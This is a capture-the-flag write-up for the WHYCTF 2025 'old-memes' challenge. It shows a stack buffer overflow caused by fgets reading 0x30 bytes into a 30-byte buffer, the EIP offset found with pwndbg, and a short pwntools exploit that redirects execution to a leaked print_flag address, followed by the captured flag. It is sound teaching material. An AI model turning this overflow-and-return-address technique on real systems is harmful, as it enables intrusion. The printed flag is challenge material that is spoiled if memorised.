WHYCTF 2025: old-memes
As usual, we’ll begin by analyzing the executable features and architecture:
$ file old-memes
old-memes: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=c315155fad7db7cae0003de733ec91e47c0dba89, for GNU/Linux 3.2.0, not stripped
We’re dealing with a 32-bit executable this time. I’ve gotten more used to 64-bit recently, but this should be no problem. We can also take a look at the enabled security features:
pwndbg> checksec
File: /home/qelal/WHY2025ctf/OldMemesNeverDie/old-memes
Arch: i386
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
It is the first time that I will deal with a PIE-enabled file. To make things clear, PIE stands for “Position Independant Executable”; which basically means, the system will load the program at a different address every time it is run (using ASLR: Address Space Layout Randomization). This is a problem for us because it will be harder to get the addresses of the symbols we will work with.
Let’s run the program to see its behavior:
$ ./old-memes
(do with this information what you want, but the print_flag function can be found here: 0x565ff1ed)
What is your name?
> ^C
$ ./old-memes
(do with this information what you want, but the print_flag function can be found here: 0x565e01ed)
What is your name?
The programmer was really kind and gave us the address of a
print_flag function at startup. We can clearly see here
that the address changes for each execution. Let’s take a look into the
source code now:
int print_flag(){
// does what it's supposed to do, redacted here
}
int ask_what(){
char what[8];
char check[6] = "what?";
printf("\n\nWhat is your name?\n> ");
fgets(what, sizeof(what), stdin);
what[strcspn(what, "\r\n")] = 0;
if (strcmp(check, what) != 0)
return 1;
return 0;
}
int ask_name(){
char name[30];
printf("\n\nWhat is your name?\n> ");
fgets(name, 0x30, stdin);
name[strcspn(name, "\r\n")] = 0;
printf("F* YOU %s!\n", name);
}
int main(){
setbuf(stdout, 0);
printf("(do with this information what you want, but the print_flag function can be found here: %p)\n", print_flag);
if(ask_what())
return 1;
ask_name();
return 0;
}At first glance we can see that the first function we enter after
main is ask_what; a string comparison is done and if we
enter what? we get into another function, called
ask_name. This function hosts a buffer overflow: indeed,
the programmer allocated 30 bytes for the name string, but
gave 0x30 to the fgets function, the safe
replacement for the very unsafe gets we know from past
challenges.
It is obvious that 30 in decimal and its hexadecimal representation are not the same number; the latter being 48 decimal. This allows for 18 bytes of overflow.
To confirm this hypothesis we can try to enter a big enough amount of bytes when we enter the insecure prompt:
$ ./old-memes
(do with this information what you want, but the print_flag function can be found here: 0x5657c1ed)
What is your name?
> what?
What is your name?
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
F* YOU AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
[1] 12233 segmentation fault (core dumped) ./old-memes
A segfault occurs, which means the program tried to access an invalid
address, because, of course, 0x41414141 (AAAA) isn’t
mapped.
We can trigger a controlled segfault in pwndbg to find the exact EIP
(extended instruction pointer) offset, which normally holds the return
address to the function we were called from; in this case,
main, but we’ll modify it to reach the
print_flag function.
After generating a cyclic pattern, injecting it, and observing the
EIP value 0x616c6161 ('aala') we find the offset:
pwndbg> cyclic -l aala
Finding cyclic pattern of 4 bytes: b'aala' (hex: 0x61616c61)
Found at offset 42
We can demonstrate that this offset is correct by injecting arbitrary controlled data, like four ‘B’ characters:
$ python3 -c "print('A'*42+'B'*4)"And indeed, pwndbg shows us EIP 0x42424242 ('BBBB'). We
are good to go.
What I bascially did from there was scraping the address given in text by the program, converting it to little-endian (because the architecture here is x86) and building a small pwntools script. Here’s the exploit code (stripped from boilerplate):
offset = 42
io = start()
info_line = io.recvline()
print_flag_addr = bytes.fromhex(info_line[-10:-2].decode())[::-1]
print(print_flag_addr)
io.sendlineafter(b'> ', "what?")
io.sendlineafter(b'> ', b'A'*offset+print_flag_addr)
io.interactive()And it worked first try!
$ python exploit.py REMOTE old-memes-never-die.ctf.zone 4242
F* YOU AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xfd1}[!
F* YOU and your flag: flag{f648a34020ffba10cc5cfc9bd2240725}